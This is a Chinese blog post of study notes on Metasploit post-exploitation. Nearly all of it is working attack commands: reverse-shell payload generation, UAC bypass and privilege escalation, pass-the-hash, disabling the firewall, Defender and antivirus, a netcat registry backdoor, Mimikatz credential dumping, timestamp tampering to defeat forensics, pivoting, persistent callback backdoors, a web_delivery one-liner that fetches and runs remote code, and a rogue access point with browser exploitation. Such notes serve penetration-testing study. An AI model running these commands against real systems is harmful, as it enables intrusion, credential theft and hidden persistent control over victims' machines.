MSF(六):后渗透

三世轮回 提交于 2020-02-26 07:32:01

后渗透测试

安全牛学习Metasploit Framework笔记

一、已经获得目标系统控制权后扩大战果

(1)提权
(2)信息收集
(3)渗透内网
(4)永久后门

二、基于已有session扩大战果
- msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 - b "\x00" -e x86/shikata_ga_nai -f exe -o 1.exe
- use /exploit/mutli/reverse_tcp
- set payload windows/meterpreter/reverse_tcp
- exploit
- 只要目标系统执行1.exe,我们即可获得反弹shell
三、获取system账号权限

(1)提权可以使用getsystem,如果没有该命令
(2)使用load priv,加载包含getsystem的priv插件(priv表示提权)
(3)如果getsystem获取不到权限,基本是被UAC限制了

四、绕过UAC限制

(1)基于session获取system

- use exploit/windows/local/ask
- set session
- set filename
- set payload windows/meterpreter/reverse_tcp
- exploit
- 骗取目标用户点击是,即可绕过UAC,使用getsystem

(2)不需要骗取目标用户点击允许,以exe直接bypass UAC

- use exploit/windows/local/bypassuac
- set session
- set payload

(3)不需要骗取目标用户点击允许,以dll直接bypass UAC

- use exploit/windows/local/bypassuac_injection
- set session
- set payload
- 我当时因为目标系统为x64,因此利用失败,但(2)模块可以成功渗透

在这里插入图片描述

五、利用漏洞直接提权为system

如果获取的账户权限为普通权限,不在管理组,使用上面的getsystem依旧无法获取system权限
(1)本地漏洞利用提权(不用getsystem,直接就是system权限)(利用失败
use exploit/windows/local/ms13_053_schlamperei
在这里插入图片描述
原因:模块不兼容,不支持在x64系统上运行
(2)use exploit/windows/local/ms13_081_track_popup_menu
(失败同上)
(3)use exploit/windows/local/ms13_097_ie_registry_symlink利用失败
在这里插入图片描述
原因:没有将进程迁移到explorer中
(4)use exploit/windows/local/ppr_flatten_rec
失败同(1)

六、图形化payload
- set payload windows/vncinject/reverse_tcp
- set viewonly no
  修改为可操作模式,因此vnc不仅可以看,还可以远程操作
- 可以配合use exploit/windows/local/bypassuac使用(因为我前面有几个模块测试失败)
七、Psexec模块之Passthehash(获得的是system权限)

(1)meterpreter获取hash值(hashdump)
如果报错,出现下图所示,即表示,meterpreter权限不够,将其进程迁移到含有system的进程中(即使你getuid是system,但进程不在system也无法获得,亲测)
在这里插入图片描述
(2)获取目标系统的用户账号、用户SSID、NTML HASH

- use exploit/windows/smb/psexec
- set smbuser 1stPeak
- set smbpass 用户的hash值
- 使用该模块需要关闭UAC,并且重启,否则会报如下错误

在这里插入图片描述
(3)关闭UAC(前提是:需要获得system权限)

- C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

(4)因为cmd关闭了UAC,需要重启目标系统才能生效

- 立即重启系统
  shutdown /r /t 0
八、Meterpreter常用指令

1、关闭windows防火墙

需要管理员或system权限

- netsh advfirewall set allprofiles state off
  netsh:windwos中强大的网络配置工具

2、关闭Windefend

- net stop windefend
  net stop是用来结束服务的

3、Bitlocker磁盘加密

- manage-bde -off C:
  关闭磁盘加密
- manage-bde-status C:
  查看bitlocker加密状态

4、关闭DEP,基于硬件防恶意软件被CPU执行的技术

- bcdedit.exe /set {current} nx AlwaysOff

5、杀死防病毒软件

- Run killav
- run post/windows/managekillav

6、开启/关闭远程桌面服务

- run post/windows/manage/enable_rdp
  打开远程桌面
- /root/.msf4/loot/20200219100050_default_192.168.100.156_host.windows.cle_840297.txt
  关闭远程桌面
- run getgui -e 
  使用getgui脚本打开远程桌面
- run getgui -U yuanfh -p pass
  向目标系统的远程桌面面用户组里添加用户

总结:
在这里插入图片描述

- redesktop x.x.x.x
  远桌面程连接目标系统

7、查看远程桌面

- screenshot
  桌面截图
- use espia
  加载espia插件(在meterpreter中use和load意义一样)
- screengrab
  截图
九、域渗透

1、Tokens概念介绍

  • 用户每次登录,账号绑定临时的Token
  • 访问资源时提交Token进行身份验证,类似于WEB Cookie
  • Delegate Token: 交互登陆会话(注销后登陆输入用户名密码/远程桌面,这是活动状态的Token)
  • Impersonate Token: 非交互登陆会话(访问文件共享目录)
  • 注:交互和非交互Token的权限是一样的,在域的环境中有很大作用
  • Delegate Token账号注销后变为Impersonate Token,权限依然有效

2、Incognito插件

  • 独立功能的软件,被MSF集成在meterpreter中
  • 无需密码破解或获取密码HASH,窃取Token将自己伪装成其他用户
  • 尤其适用于域环境下提权渗透多操作系统

3、域环境渗透测试

(1)DC+XP
域环境搭建
(2)load incognito
加载插件
(3)list_tokens -u/list_tokens -g
获取Token信息
(3)impersonate_token labl\\administrator
伪造自己为什么用户(就是修改Token),注意:\在linux和meterpreter中有特殊含义,需要两个\\,其中一个是转义
(4)运行以上命令需要getsystem
- 本地普通权限用户需先本地提权
use exploit/windows/local/ms10_015_kitrap0d(提权模块,可能我的靶机是x64,不符合条件,报下图所示错误)

在这里插入图片描述

(5)execute -f cmd.exe -i -t
以当前获得的用户执行cmd
-f:执行那个命令
-i:执行完cmd与其完成交互
-t:使用当前假冒token执行程序
执行完之后就会获得cmd的命令行,和使用shell一样
十、Windows注册表

(1)注册表保存着windows几乎全部配置参数

  • 如果修改不当,可直接造成系统崩溃
  • 修改前完整备份注册表
  • 某些注册表的修改是不可逆的

(2)常见用途

  • 修改、增加启动项
  • 窃取存储于注册表中的机密信息
  • 绕过文件型病毒查杀

(3)用注册表添加NC后门服务,开机自动运行(meterpreter)

- upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
- reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
- reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'
-d:后台静默执行
-L:监听本地端口,断开依旧侦听端口,不关闭端口
-p:指定端口
- reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
查询创建的注册表键值是否生效
注:kali中的nc.exe是32位,传到目标是windows x64的System32中时,它会转移到SysWOW64目录中

(4)添加防火墙规则(meterpreter)

- execute -f cmd -i H
-H:静默模式,后台运行,不显示窗口
- netsh firewall show opmode
- netsh firewall add portopening TCP 444 "test" ENABLE ALL
进程名test可以修改成其它更加有隐蔽性的名称
- shutdown -r -t 0
- nc 1.1.1.1 444

(5)其他注册表项命令参考

https://support.accessdata.com/hc/en-us/articles/204448155-Registry-
Quick-Find-Chart
十一、信息收集

1、抓包(meterpreter)

- load sniffer
  加载嗅探插件
- sniffer_interfaces
  扫描网卡
- sniffer_start 2
  使用指定网卡ID号进行抓包(不会再目标系统上显示,在内存中缓存区块循环存储抓包(50000包) ,不写硬盘,只会再内存中运行,默认只保存五万各数据包,循环更替数据包,50001替换1,500002替换2,以此类推)
- sniffer_dump 2 1.cap
  dump这五万个数据包
- 该插件智能过滤meterpreter流量,传输全程使用SSL/TLS加密

2、解码获取到的PACPFILE

- use auxiliary/sniffer/psnuffle
- set PCAPFILE 1.cap
- run

2、搜索文件
(1)搜索指定文件

- search -f *.ini(指定文件)
- search -d c:\\ -f *.docx(指定目录搜索,注意:\与空格都需要加转义符)

(2)John the Ripper破解弱口令(两个模块的结合使用)

- use post/windows/gather/hashdump #system权限的meterpreter
- Run #结果保存在/tmp目录下
- use auxiliary/analyze/jtr_windows_fast(它会自动破解/tmp目录下的hash)
- run
十二、痕迹清理

(1)介绍

  • 文件系统访问会留 下痕迹,电子取证重点关注
  • 渗透测试和攻击者往往希望销毁文件系统访问痕迹
  • 最好的避免被电子取证发现的方法:不要碰文件系统
  • Meterpreter 的先天优势所在(完全基于内存)

(2)MAC时间(Modified / Accessed / Changed缩写)(记录对文件的修改/记录对文件的访问/记录对文件权限的修改)

- Is -l --time=atime/ctime 1.txt
  linux查看,ls -l:modified;atime:accessed;ctime:changed
- stat 1.txt
  linux环境下一次列出三个时间
- touch -d "2 days ago" 1.txt
  linux修改文件的modified和accessed时间,向前推两天
  使用cat,会改变accessed时间,modified和changed时间不变
  使用vi,三者时间都变
  使用chmmod,只变化changed时间
- touch -t 1501010101 1.txt
  修改年月日时分(只会修改modified和accessed)

(3)MACE 介绍: MFT entry(Windows比MAC上多出个E)

  • MFT:NTFS 文件系统的主文件分配表;全称:Master File Table
  • 通常1024字节或2个硬盘扇区,其中存放多项entry信息
  • 包含文件大量信息(大小名称目录位置磁盘位置创建日期)
  • 更多信息可研究文件系统取证分析技术

(4)Timestomp (meterpreter)

- ls
  显示modified时间
- timestomp -v 1.txt
  显示文件的详细时间,多出Entry Modified的显示
- timestomp -f c:\\autoexec.bat 1.txt
  将文件时间修改成和指定文件一样(MAC和Entry时间都改变)
- timestomp -b -r
  擦除MACE时间信息,目前此参数功能失效
- timestomp -m/-a/-c/-e/-z
  修改modified时间/修改accessed时间/修改created时间/修改entry时间/四种都修改
  例:timestomp -z "日/月/年 小时:分:秒" 2.txt
十三、内网渗透

1、基于路由制作Pivoting跳板/枢纽/支点
(1)利用已经控制的一台计算机作为入侵内网的跳板,在其他内网计算机看来访问全部来自于跳板机
(2)已经建立的session(一个通信的通道),所以使用msf,在两者间增加一条路由。该命令只限在msf内部使用,但还是不能访问外网的被攻击目标内网网段

- run autoroute -s 1.1.1.0/24
- run autoroute -p
  查看路由配置

(3)自动路由现实场景
利用win 7攻击内网XP (对 比xp有无外网访问权的情况)
扫描内网:

- 使用模块
  use auxiliary/scanner/portscan/tcp
  run
- 使用nmap插件
  db_nmap -sV -p 445 x.x.x.x
  结果是nmap对路由不起作用,不建议使用bn_nmap,因此,想要利用内网的一个跳板扫描内网其他机器,只能使用msf的模块

2、基于端口的Pivoting之端口转发Portfwd

(1)run autoroute -d -s 192.168.100.0/24
	删除路由
(2)利用已经被控计算机,在kali与攻击目标之间实现端口转发
	portfwd add -L localip -I lport -r xremoteip -p rport
	-L:本地侦听IP
	-l:本地侦听端口
	-r:把本地端口映射给远程的端口
	-p:指定要映射的远程端口
总结:端口转发就是将本地的端口映射给远程目标的端口,俗话就是,我把我本机的445端口和目标的3389绑在一起,本机445就是目标3389
- 再继续执行以下命令
- portfwd add -l 445 -r remoteip -p 3389
  不指定-L,以本机0.0.0.0(所有本地IP指定端口)映射目标指定端口
  kali:rdesktop 127.0.0.1:445,即表示访问目标端口3389
- portfwd list / delete / flush
  查看端口转发配置信息/删除指定端口转发/删除所有端口转发
- use exploit/windows/smb/ms08_067_netapi
  set RHOST 127.0.0.1
  set LHOST 2.1.1.10
- use exploit/multi/handler
  set exitonsession false
十四、POST模块

1、简介:当你取得了shell后,在此基础上使用的模块
2、exploit/mutli/handler模块设置侦听端口一直处于侦听状态

set exitonsession false
exploit后侦听端口已经被连接后,依旧不关闭该端口的侦听,可通过jobs查看

3、常用利用模块(meterpreter)

- 执行arp扫描,扫描与靶机同IP段
  run post/windows/gather/arp_scanner RHOSTS=x.x.x.0/24
- 扫描目标靶机是否为虚拟机
  run post/windows/gather/checkvm
- 查看身份账号信息:用户hash值和token
  run post/windows/gather/credentials/credential_collector
- 查看目标系统安装了哪些软件
  run post/windows/gather/enum_applications
- 目标系统当前有哪些用户处于登陆状态,用户配置文件位置
  run post/windows/gather/enum_logged_on_users
- 目标系统snmp的相关配置
  run post/windows/gather/enum_snmp
- 扫描目标系统存在哪些本地可以提权的漏洞,显示对应可以利用的模块 
  run post/multi/recon/local_exploit_suggester
- 删除目标系统中指定的用户账号
  run post/windows/manage/delete_user USERNAME=1stPeak
- 查看系统运行环境变量信息
  run post/multi/gather/env
- 查看firefox里保存的账号和密码
  run post/multi/gather/firefox_creds
- 查看本地ssh登陆后保存的账号和密码,身份认证,证书信息
  run post/multi/gather/ssh_creds
- 检查目标系统指定文件是否为恶意文件
  run post/multi/gather/check_malware REMOTEFILE=c:\\xx.exe 

4、自动执行meterpreter脚本
(1)一个脚本

- 编辑目标机器上的host文件,可以实行域名欺骗
  set AutoRunScript hostsedit -e x.x.x.x,www.baidu.com
- 补充:搜集目标操作系统的运行信息
run wineum

(2)自动执行post模块(自动migrate进程)

- use exploit/mutli/handler 
- show advanced
- set AutoRunScript migrate -n explorer.exe
  自动将进程转移到explorer.exe下
- exploit

(3)查看目标系统使用者最近正在编辑哪些文件(我最近的文档),前提:migrate到指定用户

- set AutoRunScript post/windows/gather/dumplinks

(4)前后依次自动执行

- 先运行一个脚本
set InitialAutoRunScript migrate -n explorer.exe
- 再运行第二个脚本
set AutoRunScript post/windows/gather/dumplinks
十五、持久后门

1、前言

  • 利用漏洞取得的meterpreter shell运行于内存中,重启失效
  • 重复exploit漏洞可能造成服务崩溃
  • 持久后门保证漏洞修复后仍可远程控制
    2、Meterpreter后门
- 创建服务,开启目标本地的侦听端口
  run metsvc -A      
- 删除再目标系统上创建的服务
  run metsvc -r
- 在msf中使用模块连接目标系统侦听的端口31337
  use exploit/multi/handler
  set payload windows/metsvc_bind_tcp
  set lport 31337
  set rhost 目标IP
  exploit
  目标x.x.x.x:31337这个端口,反弹shell给我们

3、持久后门(目标系统重新启动后,自动反弹连接kali)
(1)查看脚本的参数信息

- run persistence -h
- run persistence -X -i 10 -p 4444 -r 1.1.1.1
- run persistence -U -i 20 -p 4444 -r 1.1.1.1
- run persistence -S -i 20 -p 4444 -r 1.1.1.1

-X:目标重启计算机后自动启动后门
-i:延时启动
-p:指定端口
-r:指定回连本机的IP,就是攻击机IP
-U:当目标用户登录时自动启动后门
-S:目标系统重启时将后门当作服务自动启动(具有系统特权)

(2)往目标系统植入一个vbs的后门,开机自动连接指定IP的端口
执行后,需要我们kali开启侦听(端口要和之前run persistence指定的一致)

- run persistence -X -i 10 -p 4444 -r 1.1.1.1
- use /exploit/multi/handler
- set lport 4444
- set lhost 1.1.1.1
- exploit
- 只要目标系统重启,我们kali即可获得回连的shell
十六、MSF延伸用法之Mimikatz
- hashdump使用的就是Mimikatz的部分功能
- getsystem
  使用mimikatz需要先获得system权限
- load mimikatz
  加载插件
- wdigest、kerberos 、msv、ssp、tspkg 、livessp
  明文显示用户账号和密码信息(包括内存中的)、和wdigest差不多、用户hash值、用户明文信息、身份认证信息、存活的用户明文信息
- mimikatz_ command -h
(1)mimikatz_command -f ax::
通过犯错查看有哪些模块可以利用,就是在-f后面加个不存在的模块和两个冒号
(2)mimikatz_command -f samdump::hashes
查看hash值和Bootkey
(3)mimikatz_command -f handle::list
查看操作系统进程
(4)mimikatz_command -f service:list
查看操作系统服务
(5)mimikatz_command -f crypot::listProviders
查看系统支持哪些加密套件
(6)mimikatz_command -f winmine:infos
查看你当前玩的扫雷哪些是地雷
注:每个命令都还有子命令,::后面都是子命令,查看子命令:mimikatz_command -f 存在的模块::
十七、meterpreter延伸用法

1、PHP shell

- msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=3333 -f raw -o a.php
- MSF启动侦听
- 上传到web站点并通过浏览器访问

2、Web Delivery
利用代码执行漏洞访问攻击者服务器

- use exploit/multi/script/web_delivery
- set target 1(对应PHP)
- set payload/meterpreter/reverse_tcp
- exploit
- 只要目标系统执行下面的系统命令(可以配合dvwa的命令执行漏洞复现),kali就会得到一个反弹的shell连接
  php -d allow_url_fopen=true -r "eval(file_get_contents('http://1.1.1.1/fTYWqmu'));"

3、RFI远程文件包含
(1)利用条件

- vi /etc/php5/cgi/php.ini
- allow_url_fopen = On
- allow_url_include =On

(2)利用模块

- use exploit/unix/webapp/php_include
- set RHOST x.x.x.x
- set PATH /dvwa/vulnerabilities/fi/
  设置攻击的目标路径
- set PHPURI /?page=XXpathXX
  自动使用path替换原来的?page=后面的内容
- set HEADERS "Cookie:security=low;PHPSESSID=eefcf023ba6121 9d4745ad7487fe81d7"
- set payload php/meterpreter/reverse_tcp
- set lhost x.x.x.x
- exploit

4、伪造AP、嗅探密码、截获数据、浏览器攻击
(1)下载资源文件(Karmetasploit),里面包含多个对客户端利用的模块

- wget https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc .txt
- 安装其他依赖包
  gem install activerecord sqlite3-ruby

(2)基础架构安装配置(在kali上安装dhcp服务,因为伪造了AP,需要给伪造AP连接的系统分发IP)

- apt-get install isc-dhcp-server
- cat /etc/dhcp/dhcpd.conf

使用vim后配置如下:
option domain-name-servers 10.0.0.1;(伪造AP用的IP地址,就是kali的网卡IP)
default-lease-time 60;(AP租约期限,设置短一点,提高利用率)
max-lease-time 72;(AP租约期限,设置短一点,提高利用率)
ddns-update-style none;(这一行留着)
authoritative;(授权DHCP服务器)
log-facility local7;(记录日志)
subnet 10.0.0.0 netmask 255.255.255.0 {(定义子网网段)
range 10.0.0.100 10.0.0.254;(分发给客户端的IP地址的网段)
option routers 10.0.0.1;(分发出去网段的网关地址)
option domain-name-servers 10.0.0.1;(分发本网段的DNS服务器,有全局可以不用设)
}

(3)基础配置服务设置好,现在我们进行伪造AP

- airmon-ng start wlan0
  将wlan0设置为侦听模式
- airbase-ng -P -C 30 -e "FREE" -v wlan0mon
  伪造无线AP,网卡为eth0
- ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
  up网卡eth0
- touch /var/lib/dhcp/dhcpd.leases
  建议DHCP租约文件
- dhcpd -cf /etc/dhcp/dhcpd.conf at0
  指定网卡启动DHCP服务
- 启动Karmetasploit资源文件模块,当有客户端连接我伪造的AP,发送流量经过我的伪造AP(就是Kali),我在kali上就可以截获信息与注入代码等攻击
  msfconsole -q -r karma.rc_.txt
- 流量流经伪造的AP后会被kaili自动侦听和漏洞利用,漏洞利用成功后,会获得session(注:目标连接伪造的wifi后,上不了网,流量只会流经到伪造AP,无法再进行转发到互联网,那如何解决?请看下面)
- 允许用户正常上网,修改资源文件内容
(1)vi karma.rc_.txt
(2)删除db_connect postgres...
(3)删除开头setg的参数,这样目标客户端才可以正常访问互联网
(4)删除set lport
(5)增加browser_autopwn2等其他模块
    se auxiliary/server/browser_autopwn2
    set SRVPORT 55560
    run
(6)增加检查恶意流量的模块
    use auxiliary/vsploit/malware/dns_(有三个模块)
    可以依次配置相关信息
    依次run
(7)保存后启动Karmetasploit
    msfconsole -q -r karma.rc_.txt
(8)添加路由和防火墙规则
echo 1 > /proc/sys/net/ipv4/ip_forward(IP转发)
	防火墙添加两条iptables规则:
	iptables P FORWARD ACCEPT
	iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
注:DNS欺骗,就是伪造IP,比如将https://www.baidu.com伪造IP为x.x.x.x,于是,只要目标访问https://www.baidu.com,就会访问我们伪造的x.x.x.x,不会访问真实的网站
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!